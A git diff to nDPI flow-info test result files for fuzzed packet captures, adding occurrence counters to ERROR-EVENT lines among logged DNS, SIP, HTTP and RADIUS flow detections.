not-detected: [...195] [ip4][..udp] [192.168.170.170][43690] -> [170.170.170.170][43690] [Unknown][Unrated] @@ -1468,7 +1468,7 @@ new: [...230] [ip4][..udp] [....192.168.1.2][.2815] -> [....192.168.1.1][...53] detected: [...230] [ip4][..udp] [....192.168.1.2][.2815] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] RISK: Malformed Packet - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...231] [ip4][..udp] [....192.168.1.2][.2816] -> [....192.168.1.1][...53] detected: [...231] [ip4][..udp] [....192.168.1.2][.2816] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][?sip._udp.shp.cybercity.dk] new: [...232] [ip4][..udp] [....192.168.1.2][.5060] -> [.212.242.33.201][.5060] @@ -1484,9 +1484,9 @@ detected: [...236] [ip4][..udp] [....192.168.1.2][30000] -> [..214.242.33.36][40392] [RTP][Media][Acceptable] new: [...237] [ip4][..udp] [.....81.168.1.2][30000] -> [..212.242.33.36][40392] detected: [...237] [ip4][..udp] [.....81.168.1.2][30000] -> [..212.242.33.36][40392] [RTP][Media][Acceptable] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [2/16] detection-update: [...231] [ip4][..udp] [....192.168.1.2][.2816] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] idle: [...197] [ip4][..udp] [....192.168.1.2][.2797] -> [....192.168.1.1][...53] [DNS][Network][Acceptable] idle: [...199] [ip4][..udp] [....192.168.1.2][.2798] -> [....192.168.1.1][...53] update: [...205] [ip4][....0] [....192.168.1.2] -> [..212.242.33.35] @@ -1494,10 +1494,10 @@ detected: [...238] [ip4][..udp] [....192.168.1.2][.2822] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.1?7.in-addr.arpa] new: [...239] [ip4][..udp] [....192.168.1.2][.5060] -> [..212.234.33.35][.5060] detected: [...239] [ip4][..udp] [....192.168.1.2][.5060] -> [..212.234.33.35][.5060] [SIP][VoIP][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...240] [ip4][..udp] [....192.168.1.2][.2823] -> [....192.168.1.1][...53] detected: [...240] [ip4][..udp] [....192.168.1.2][.2823] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] detection-update: [...240] [ip4][..udp] [....192.168.1.2][.2823] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] detection-update: [...240] [ip4][..udp] [....192.168.1.2][.2823] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] not-detected: [...149] [ip4][....0] [....192.168.1.2] -> [..192.168.1.255] [Unknown][Unrated] @@ -1530,7 +1530,7 @@ new: [...241] [ip4][..udp] [....192.168.1.2][.2824] -> [....192.168.1.1][...53] detected: [...241] [ip4][..udp] [....192.168.1.2][.2824] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] detection-update: [...241] [ip4][..udp] [....192.168.1.2][.2824] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...242] [ip4][..udp] [....192.168.1.2][.2825] -> [....192.168.1.1][...53] detected: [...242] [ip4][..udp] [....192.168.1.2][.2825] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] detection-update: [...242] [ip4][..udp] [....192.168.1.2][.2825] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] @@ -1572,10 +1572,10 @@ detected: [...245] [ip4][..udp] [....192.168.1.2][.2827] -> [..192.168.1.114][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] new: [...246] [ip4][..udp] [....192.168.1.2][.2827] -> [....192.168.1.1][...53] detected: [...246] [ip4][..udp] [....192.168.1.2][.2827] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercimy.v?] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [...247] [ip4][..udp] [....192.168.1.2][.2827] -> [....192.170.1.1][...53] detected: [...247] [ip4][..udp] [....192.168.1.2][.2827] -> [....192.170.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cyberc?ty.dk] - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [2/16] not-detected: [...157] [ip4][...19] [....192.168.1.2] -> [....192.168.1.1] [Unknown][Unrated] idle: [...157] [ip4][...19] [....192.168.1.2] -> [....192.168.1.1] not-detected: [...117] [ip4][...37] [....192.168.1.1] -> [....192.168.1.2] [Unknown][Unrated] @@ -1614,7 +1614,7 @@ update: [...220] [ip4][..udp] [....192.170.1.2][.2810] -> [....192.168.1.1][...53] new: [...252] [ip4][..udp] [....192.168.1.2][.2829] -> [....192.168.1.1][...53] detected: [...252] [ip4][..udp] [....192.168.1.2][.2829] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...253] [ip4][..udp] [...192.168.54.2][.2829] -> [....192.168.1.1][...53] detected: [...253] [ip4][..udp] [...192.168.54.2][.2829] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] RISK: Malformed Packet @@ -1658,7 +1658,7 @@ idle: [...222] [ip4][..udp] [....128.168.1.2][.2810] -> [....192.168.1.1][...53] update: [...245] [ip4][..udp] [....192.168.1.2][.2827] -> [..192.168.1.114][...53] update: [...246] [ip4][..udp] [....192.168.1.2][.2827] -> [....192.168.1.1][...53] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...257] [ip4][..udp] [....192.168.1.2][.2832] -> [....192.168.1.1][...53] detected: [...257] [ip4][..udp] [....192.168.1.2][.2832] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] guessed: [....26] [ip4][..tcp] [..147.234.1.253][...21] -> [......192.2.1.2][.2720] [FTP_CONTROL][Download][Unsafe] diff --git a/test/results/flow-info/fuzz-2006-09-29-28586.pcap.out b/test/results/flow-info/fuzz-2006-09-29-28586.pcap.out index a01bf89d5..8bbee1fe9 100644 --- a/test/results/flow-info/fuzz-2006-09-29-28586.pcap.out +++ b/test/results/flow-info/fuzz-2006-09-29-28586.pcap.out @@ -1,21 +1,21 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [.....1] [ip4][..tcp] [....172.20.3.13][...80] -> [.....172.20.3.5][.2600] [MIDSTREAM] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [2/16] new: [.....2] [ip4][..tcp] [....172.20.3.13][...80] -> [.....172.20.3.5][.2601] detected: [.....2] [ip4][..tcp] [....172.20.3.13][...80] -> [.....172.20.3.5][.2601] [HTTP][Web][Acceptable][] new: [.....3] [ip4][..tcp] [....172.20.3.13][...81] -> [.....172.20.3.5][.2601] [MIDSTREAM] new: [.....4] [ip4][..tcp] [......0.20.3.13][...80] -> [.....172.20.3.5][.2601] [MIDSTREAM] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [3/16] new: [.....5] [ip4][..tcp] [....172.20.3.13][53132] -> [.....172.20.3.5][...80] new: [.....6] [ip4][..tcp] [.....172.20.3.1][...80] -> [....172.20.3.13][53132] [MIDSTREAM] detected: [.....6] [ip4][..tcp] [.....172.20.3.1][...80] -> [....172.20.3.13][53132] [HTTP][Web][Acceptable][] new: [.....7] [ip4][..tcp] [.....172.20.3.5][...80] -> [....172.57.3.13][53132] [MIDSTREAM] new: [.....8] [ip4][..tcp] [......172.6.3.5][...80] -> [....172.20.3.13][53132] [MIDSTREAM] new: [.....9] [ip4][..tcp] [.....172.20.3.5][.2602] -> [....172.21.3.13][...80] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [4/16] new: [....10] [ip4][..170] [170.170.170.170] -> [170.170.170.170] new: [....11] [ip4][..tcp] [.....172.20.3.5][.2602] -> [....172.20.3.13][...80] [MIDSTREAM] detected: [....11] [ip4][..tcp] [.....172.20.3.5][.2602] -> [....172.20.3.13][...80] [HTTP][Web][Acceptable][172.20.3.13] @@ -29,7 +29,7 @@ new: [....18] [ip4][..tcp] [.....172.20.3.5][.2604] -> [....172.20.3.13][...80] detected: [....18] [ip4][..tcp] [.....172.20.3.5][.2604] -> [....172.20.3.13][...80] [HTTP][Web][Acceptable][172.20.3.13] RISK: HTTP Numeric IP Address - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [....19] [ip4][..tcp] [....172.20.3.13][...80] -> [....172.20.68.5][.2604] [MIDSTREAM] new: [....20] [ip4][..tcp] [.....172.20.3.5][.2605] -> [....172.20.3.13][...80] detected: [....20] [ip4][..tcp] [.....172.20.3.5][.2605] -> [....172.20.3.13][...80] [HTTP][Web][Acceptable][172.20.3.13] @@ -38,14 +38,14 @@ new: [....22] [ip4][..tcp] [....172.20.3.13][...80] -> [....172.20.76.5][65069] [MIDSTREAM] new: [....23] [ip4][..tcp] [....172.20.3.13][...80] -> [......44.20.3.5][.2605] [MIDSTREAM] detected: [....23] [ip4][..tcp] [....172.20.3.13][...80] -> [......44.20.3.5][.2605] [HTTP][Web][Acceptable][] - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [2/16] new: [....24] [ip4][..tcp] [170.170.170.170][43690] -> [170.170.170.170][43690] new: [....25] [ip4][..tcp] [....172.20.3.13][...80] -> [.....172.20.3.5][.2639] [MIDSTREAM] new: [....26] [ip4][..tcp] [....172.52.3.13][...80] -> [.....172.20.3.5][.2093] [MIDSTREAM] new: [....27] [ip4][..tcp] [.....172.20.3.5][.2606] -> [....172.20.3.13][...80] detected: [....27] [ip4][..tcp] [.....172.20.3.5][.2606] -> [....172.20.3.13][...80] [HTTP][Web][Acceptable][172.20.3.13] RISK: HTTP Numeric IP Address - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [1/16] new: [....28] [ip4][..tcp] [....172.20.3.13][...80] -> [....172.20.72.5][.2606] [MIDSTREAM] detected: [....28] [ip4][..tcp] [....172.20.3.13][...80] -> [....172.20.72.5][.2606] [HTTP][Web][Acceptable][] detection-update: [....27] [ip4][..tcp] [.....172.20.3.5][.2606] -> [....172.20.3.13][...80] [HTTP][Web][Acceptable][172.20.3.13] @@ -61,7 +61,7 @@ detected: [....34] [ip4][..tcp] [....172.20.3.13][53136] -> [.....172.20.3.5][...80] [HTTP][Web][Acceptable][] new: [....35] [ip4][..tcp] [....172.20.3.13][53136] -> [.....172.70.3.5][...80] [MIDSTREAM] new: [....36] [ip4][..tcp] [...172.20.67.13][53136] -> [.....172.20.3.5][...80] [MIDSTREAM] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [2/16] new: [....37] [ip4][..tcp] [....172.20.3.13][...80] -> [.....172.20.3.5][.2608] detected: [....37] [ip4][..tcp] [....172.20.3.13][...80] -> [.....172.20.3.5][.2608] [HTTP][Web][Acceptable][] new: [....38] [ip4][..tcp] [....172.20.3.13][...80] -> [...172.20.148.5][.2608] [MIDSTREAM] diff --git a/test/results/flow-info/fuzz-2020-02-16-11740.pcap.out b/test/results/flow-info/fuzz-2020-02-16-11740.pcap.out index f00b6bd2e..c9c7246ba 100644 --- a/test/results/flow-info/fuzz-2020-02-16-11740.pcap.out +++ b/test/results/flow-info/fuzz-2020-02-16-11740.pcap.out @@ -7,20 +7,20 @@ detected: [.....2] [ip4][..udp] [..198.226.25.53][.1812] -> [...10.102.64.30][29200] [Radius][Network][Acceptable] new: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] detected: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [.....4] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1796] idle: [.....2] [ip4][..udp] [..198.226.25.53][.1812] -> [...10.102.64.30][29200] [Radius][Network][Acceptable] idle: [.....1] [ip4][..udp] [....10.12.64.30][29200] -> [..108.226.25.53][.1812] [Radius][Network][Acceptable] update: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] new: [.....5] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1813] detected: [.....5] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1813] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] update: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] update: [.....4] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1796] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: Unknown L3 protocol [4/16] new: [.....6] [ip4][..udp] [..198.226.25.53][30764] -> [....10.12.64.30][12344] DAEMON-EVENT: [Processed: 12 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 4 / 6|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 3] @@ -29,14 +29,14 @@ detected: [.....8] [ip4][..udp] [.....10.4.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] new: [.....9] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.30][29270] detected: [.....9] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.30][29270] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] update: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] update: [.....5] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1813] [Radius][Network][Acceptable] update: [.....6] [ip4][..udp] [..198.226.25.53][30764] -> [....10.12.64.30][12344] update: [.....4] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1796] new: [....10] [ip4][..udp] [..198.226.25.53][..309] -> [....10.12.64.30][12339] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] not-detected: [.....4] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1796] [Unknown][Unrated] idle: [.....4] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1796] update: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] @@ -56,7 +56,7 @@ new: [....11] [ip4][..udp] [170.170.170.170][43690] -> [170.170.170.170][43690] new: [....12] [ip4][..udp] [..198.226.25.53][.1813] -> [....10.12.64.30][29264] detected: [....12] [ip4][..udp] [..198.226.25.53][.1813] -> [....10.12.64.30][29264] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] idle: [.....8] [ip4][..udp] [.....10.4.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] not-detected: [....10] [ip4][..udp] [..198.226.25.53][..309] -> [....10.12.64.30][12339] [Unknown][Unrated] idle: [....10] [ip4][..udp] [..198.226.25.53][..309] -> [....10.12.64.30][12339] @@ -65,8 +65,8 @@ idle: [.....7] [ip4][..udp] [198.226.170.170][43690] -> [170.170.170.170][43690] update: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] update: [.....5] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1813] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] idle: [.....5] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1813] [Radius][Network][Acceptable] analyse: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] min| max| avg| stddev| variance| entropy @@ -78,9 +78,9 @@ [IATS(ms)....: 155.2,452627.7,595.4,114837.3,612411.2,44261.5,205.2,4046.5,4037.8,201.9,4553.2,187.1,43562.4,202.6,48502.1,3244.5,3442.4,3335.8,3536.4,209.1,201.4,255983.2,256164.3,599.6,6263.0,492.5,7309.6,8000.5,8015.3,522.3,7260.9] [PKTLENS.....: 683,243,225,304,225,731,165,683,165,683,192,731,683,731,683,192,165,683,731,165,683,192,731,225,711,731,711,304,731,225,711,731] [ENTROPIES...: 6.0,2.8,6.3,6.9,6.4,5.6,6.0,6.1,6.0,0.9,6.1,6.0,6.1,2.9,4.1,6.1,6.0,6.0,6.1,6.0,5.0,6.1,6.1,6.4,6.0,6.1,5.5,6.8,6.1,6.5,5.8,4.2] - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [1/16] new: [....13] [ip4][..udp] [..198.162.25.53][.1810] -> [....10.12.64.30][29200] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] update: [....12] [ip4][..udp] [..198.226.25.53][.1813] -> [....10.12.64.30][29264] [Radius][Network][Acceptable] update: [....11] [ip4][..udp] [170.170.170.170][43690] -> [170.170.170.170][43690] new: [....14] [ip4][..udp] [..198.226.25.53][.1812] -> [....74.12.64.30][29200] @@ -89,13 +89,13 @@ detected: [....15] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.77.53][.1812] [Radius][Network][Acceptable] new: [....16] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.62][.1812] detected: [....16] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.62][.1812] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] update: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] new: [....17] [ip4][...88] [..198.226.25.53] -> [....10.12.64.30] new: [....18] [ip4][..254] [....10.12.64.30] -> [..198.226.25.53] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] update: [....13] [ip4][..udp] [..198.162.25.53][.1810] -> [....10.12.64.30][29200] update: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] update: [....15] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.77.53][.1812] [Radius][Network][Acceptable] @@ -103,14 +103,14 @@ update: [....14] [ip4][..udp] [..198.226.25.53][.1812] -> [....74.12.64.30][29200] [Radius][Network][Acceptable] update: [....12] [ip4][..udp] [..198.226.25.53][.1813] -> [....10.12.64.30][29264] [Radius][Network][Acceptable] update: [....11] [ip4][..udp] [170.170.170.170][43690] -> [170.170.170.170][43690] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [....19] [ip4][..udp] [..198.226.25.53][.1812] -> [...10.12.120.30][29200] new: [....20] [ip4][..udp] [....10.12.64.30][29200] -> [..206.226.25.53][.1812] detected: [....20] [ip4][..udp] [....10.12.64.30][29200] -> [..206.226.25.53][.1812] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [....21] [ip4][..udp] [..198.157.25.53][.1812] -> [....10.12.64.30][29200] detected: [....21] [ip4][..udp] [..198.157.25.53][.1812] -> [....10.12.64.30][29200] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] not-detected: [....13] [ip4][..udp] [..198.162.25.53][.1810] -> [....10.12.64.30][29200] [Unknown][Unrated] idle: [....13] [ip4][..udp] [..198.162.25.53][.1810] -> [....10.12.64.30][29200] idle: [....12] [ip4][..udp] [..198.226.25.53][.1813] -> [....10.12.64.30][29264] [Radius][Network][Acceptable] @@ -126,7 +126,7 @@ new: [....23] [ip4][...85] [..198.226.25.62] -> [....10.12.64.30] new: [....24] [ip4][..udp] [..198.226.82.53][.1812] -> [....10.12.64.30][29200] detected: [....24] [ip4][..udp] [..198.226.82.53][.1812] -> [....10.12.64.30][29200] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [....25] [ip4][..udp] [..198.226.25.53][.1895] -> [....10.12.64.30][29200] new: [....26] [ip4][..udp] [....10.12.64.30][30224] -> [..198.226.25.53][.1812] detected: [....26] [ip4][..udp] [....10.12.64.30][30224] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] @@ -141,14 +141,14 @@ DAEMON-EVENT: [Flows][active: 13 / 27|skipped: 0|!detected: 6|guessed: 0|detection-updates: 0|updates: 39] new: [....28] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.28.64.30][29200] detected: [....28] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.28.64.30][29200] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: Unknown packet type [3/16] update: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] update: [....16] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.62][.1812] [Radius][Network][Acceptable] update: [....19] [ip4][..udp] [..198.226.25.53][.1812] -> [...10.12.120.30][29200] update: [....21] [ip4][..udp] [..198.157.25.53][.1812] -> [....10.12.64.30][29200] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] new: [....29] [ip4][..udp] [....10.12.64.30][29200] -> [..198.224.25.53][.1812] detected: [....29] [ip4][..udp] [....10.12.64.30][29200] -> [..198.224.25.53][.1812] [Radius][Network][Acceptable] update: [....24] [ip4][..udp] [..198.226.82.53][.1812] -> [....10.12.64.30][29200] [Radius][Network][Acceptable] @@ -157,10 +157,10 @@ update: [....22] [ip4][..udp] [..198.230.25.62][.1812] -> [....10.12.64.30][29200] [Radius][Network][Acceptable] update: [....26] [ip4][..udp] [....10.12.64.30][30224] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] update: [....27] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.56.64.30][.9472] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [....30] [ip4][..udp] [..198.226.25.53][.1812] -> [.....10.12.37.0][29200] detected: [....30] [ip4][..udp] [..198.226.25.53][.1812] -> [.....10.12.37.0][29200] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [2/16] new: [....31] [ip4][..udp] [...10.12.64.110][29200] -> [..198.226.25.53][.1812] detected: [....31] [ip4][..udp] [...10.12.64.110][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] new: [....32] [ip4][..udp] [...72.226.25.53][.1812] -> [....10.12.64.30][29200] @@ -178,8 +178,8 @@ update: [....26] [ip4][..udp] [....10.12.64.30][30224] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] update: [....29] [ip4][..udp] [....10.12.64.30][29200] -> [..198.224.25.53][.1812] [Radius][Network][Acceptable] update: [....27] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.56.64.30][.9472] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] new: [....33] [ip4][..udp] [....10.12.64.30][29200] -> [...198.226.37.0][.1812] detected: [....33] [ip4][..udp] [....10.12.64.30][29200] -> [...198.226.37.0][.1812] [Radius][Network][Acceptable] idle: [....28] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.28.64.30][29200] [Radius][Network][Acceptable] @@ -200,7 +200,7 @@ update: [....18] [ip4][..254] [....10.12.64.30] -> [..198.226.25.53] new: [....34] [ip4][..112] [....10.12.64.30] -> [..198.226.25.53] detected: [....34] [ip4][..112] [....10.12.64.30] -> [..198.226.25.53] [VRRP][Network][Acceptable] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] idle: [....31] [ip4][..udp] [...10.12.64.110][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] idle: [....30] [ip4][..udp] [..198.226.25.53][.1812] -> [.....10.12.37.0][29200] [Radius][Network][Acceptable] idle: [....29] [ip4][..udp] [....10.12.64.30][29200] -> [..198.224.25.53][.1812] [Radius][Network][Acceptable] @@ -214,7 +214,7 @@ detected: [....35] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.62][.1812] [Radius][Network][Acceptable] new: [....36] [ip4][..udp] [.....37.0.25.62][.1812] -> [....10.12.64.30][29200] detected: [....36] [ip4][..udp] [.....37.0.25.62][.1812] -> [....10.12.64.30][29200] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [....37] [ip4][..udp] [..198.226.25.62][.1812] -> [.....10.12.37.0][29200] detected: [....37] [ip4][..udp] [..198.226.25.62][.1812] -> [.....10.12.37.0][29200] [Radius][Network][Acceptable] new: [....38] [ip4][..udp] [..198.226.25.62][.1812] -> [....10.12.64.30][29295] @@ -223,13 +223,13 @@ detected: [....39] [ip4][..udp] [....10.12.64.30][29304] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] new: [....40] [ip4][..170] [170.170.170.170] -> [170.170.170.170] idle: [....33] [ip4][..udp] [....10.12.64.30][29200] -> [...198.226.37.0][.1812] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: Unknown L3 protocol [1/16] new: [....41] [ip4][..udp] [..198.226.25.53][.1812] -> [..10.12.172.158][29200] detected: [....41] [ip4][..udp] [..198.226.25.53][.1812] -> [..10.12.172.158][29200] [Radius][Network][Acceptable] new: [....42] [ip4][..udp] [....10.12.64.30][29200] -> [..198.119.25.53][.1812] new: [....43] [ip4][..udp] [..198.226.25.53][.1965] -> [....10.12.64.30][29200] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [2/16] update: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] new: [....44] [ip4][....0] [....10.12.64.30] -> [..198.226.25.53] new: [....45] [ip4][..udp] [..198.234.25.53][.1812] -> [....10.12.64.30][29200] @@ -254,11 +254,11 @@ detected: [....48] [ip4][..udp] [..198.226.25.53][.1812] -> [...10.12.112.30][29200] [Radius][Network][Acceptable] new: [....49] [ip4][..udp] [.....10.84.37.0][29200] -> [..198.226.25.53][.1812] detected: [....49] [ip4][..udp] [.....10.84.37.0][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Unknown L3 protocol - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Unknown L3 protocol - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: Unknown L3 protocol [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: Unknown L3 protocol [4/16] + ERROR-EVENT: Unknown L3 protocol [1/16] new: [....50] [ip4][..udp] [....10.12.64.37][29200] -> [....0.226.25.53][.1812] detected: [....50] [ip4][..udp] [....10.12.64.37][29200] -> [....0.226.25.53][.1812] [Radius][Network][Acceptable] new: [....51] 